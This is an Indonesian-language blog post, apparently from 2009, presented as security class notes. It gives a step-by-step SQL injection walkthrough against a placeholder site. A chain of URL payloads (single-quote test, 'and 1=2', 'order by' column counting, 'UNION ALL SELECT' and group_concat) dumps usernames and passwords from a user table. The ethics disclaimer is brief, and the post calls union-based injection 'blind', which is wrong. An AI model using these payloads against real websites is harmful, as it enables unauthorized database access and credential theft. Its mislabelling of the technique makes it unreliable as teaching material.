| SQL Injection |
|
|
|
|
Pada pertemuan yang lalu (11/01/2009), diadakan materi dadakan dari salah seorang peserta yang berkisar tentang keamanan sebuah website Tutor menggunakan Localhost dengan maksud agar tidak memberi contoh untuk merusak hasil karya/website orang lain Structured Query Language (SQL) adalah sebuah bahasa yang dipergunakan untuk mengakses data dalam basis data relasional (wikipedia) contohnya pada kasus ini : Â
 http://www.target.com/index.php?pageID=1 1. Letakkan karakter Single Quote pada akhri url address bar. 2. gunakan Oprator Logika (AND atau OR) untuk memastikan http://www.target.com/index.php?pageID=1 and 1=2 <== False, jika itu terjadi maka sekarang kita harus mencari berapa kolom yang ada pada tabel - http://www.target.com/index.php?pageID=1+order+by+1/* <== True - http://www.target.com/index.php?pageID=1+order+by+2/* <== True - http://www.target.com/index.php?pageID=1+order+by+3/* <== True misalkan pada angka kelima muncul error “Unknown Colomn ‘5', Untuk mengecek di kolom berapa terdapat hole atau kolom yang bermasalah kita bisa gunakan stament http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,2,3,4/* maka di browser akan tampil No antara 1 sampai 4 pada bagian ini bisa di bilang kita akan bermain tebak tebakan (BLIND SQL injection) http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,username,3,... kalau cuma satu angka yang terbaca contohnya '2' http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,group_concat(username,0×3a,password),3,4+from+user/* maka pada browser akan tertera Username pada angka 2 dan Password pada angka 4 mengapa Hal ini dapat terjadi...?? tunggu artikel selanjutnya....?? Ingat ilmu bukan untuk disalah gunakan |
| Last Updated on Monday, 21 December 2009 10:26 |
mereka Punya Semangat Itu
Di Facebook pun semangat itu ada
Dan yang lain lebih bersemangat